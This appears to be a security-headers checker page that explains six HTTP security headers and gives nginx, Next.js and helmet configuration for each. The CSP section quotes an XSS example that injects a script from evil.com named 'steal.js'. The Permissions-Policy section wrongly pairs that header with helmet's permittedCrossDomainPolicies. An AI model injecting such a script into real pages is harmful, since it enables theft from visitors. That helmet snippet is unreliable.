Security Headers Checker

1. Content-Security-Policy (CSP)

CSP tells browsers which origins are allowed to load scripts, styles, images, fonts, and frames. If a resource is not explicitly allowed, the browser refuses to load it.

Without it: an attacker who finds an XSS vulnerability can inject <script src="https://evil.com/steal.js"> and your visitors' browsers will execute it without question.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'

add_header Content-Security-Policy "default-src 'self';" always;

// next.config.js
headers() {
  return [{
    source: '/(.*)',
    headers: [{
      key: 'Content-Security-Policy',
      value: "default-src 'self'"
    }]
  }]
}

import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
  }
}));

2. Strict-Transport-Security (HSTS)

HSTS instructs browsers to only connect to your domain over HTTPS for a specified duration — even if the user types http:// explicitly. Once a browser receives HSTS, it enforces it locally without making an HTTP request first.

Without it: SSL stripping attacks become possible. An attacker on the same Wi-Fi intercepts the initial HTTP request before any redirect and downgrades the connection, reading all traffic in plaintext.

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

{
  key: 'Strict-Transport-Security',
  value: 'max-age=63072000; includeSubDomains; preload'
}

app.use(helmet.hsts({
  maxAge: 63072000,
  includeSubDomains: true,
  preload: true
}));

3. X-Frame-Options

Prevents your site from being embedded in an <iframe> on a third-party domain. This blocks clickjacking attacks, where an attacker overlays your site with a transparent iframe on top of a deceptive button.

Without it: a malicious site can load your banking portal or OAuth confirmation dialog in an invisible frame. When users click what they think is a harmless button, they are actually clicking controls on your site.

Note: frame-ancestors in CSP is the modern replacement. Set both for maximum compatibility across old and new browsers.

X-Frame-Options: DENY

add_header X-Frame-Options "DENY" always;

{
  key: 'X-Frame-Options',
  value: 'DENY'
}

app.use(helmet.frameguard({
  action: 'deny'
}));

4. X-Content-Type-Options

Disables MIME type sniffing in browsers. Without this header, browsers may interpret a file differently than the declared Content-Type — specifically, they may execute content that was declared as a static file.

Without it: if your upload endpoint accepts files without strict type validation, an attacker can upload an HTML or JavaScript payload with a .png extension. The browser sniffs the real content type and executes it.

X-Content-Type-Options: nosniff

add_header X-Content-Type-Options "nosniff" always;

{
  key: 'X-Content-Type-Options',
  value: 'nosniff'
}

app.use(helmet.noSniff());

5. Referrer-Policy

Controls how much information the browser includes in the Referer header when a user navigates from your site to an external URL. Without an explicit policy, the browser default leaks the full URL — including query parameters — to third-party analytics, advertising networks, and CDNs.

Without it: password reset tokens, session identifiers, or private document paths in your URLs are sent to every external resource your pages load — Google Fonts, analytics scripts, social widgets.

Referrer-Policy: strict-origin-when-cross-origin

add_header Referrer-Policy "strict-origin-when-cross-origin" always;

{
  key: 'Referrer-Policy',
  value: 'strict-origin-when-cross-origin'
}

app.use(helmet.referrerPolicy({
  policy: 'strict-origin-when-cross-origin'
}));

6. Permissions-Policy

Replaces the older Feature-Policy header. Restricts which browser APIs — camera, microphone, geolocation, payment, interest cohort — can be used by your page and by any embedded iframes or third-party scripts.

Without it: any third-party script you load — an analytics tag, a chat widget, an ad network — can silently request access to the user's camera or location. With this header, you explicitly opt out of APIs you do not use.

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), interest-cohort=()

add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

{
  key: 'Permissions-Policy',
  value: 'camera=(), microphone=(), geolocation=()'
}

app.use(helmet.permittedCrossDomainPolicies());
// or set header manually:
res.setHeader('Permissions-Policy', 'camera=(), microphone=()');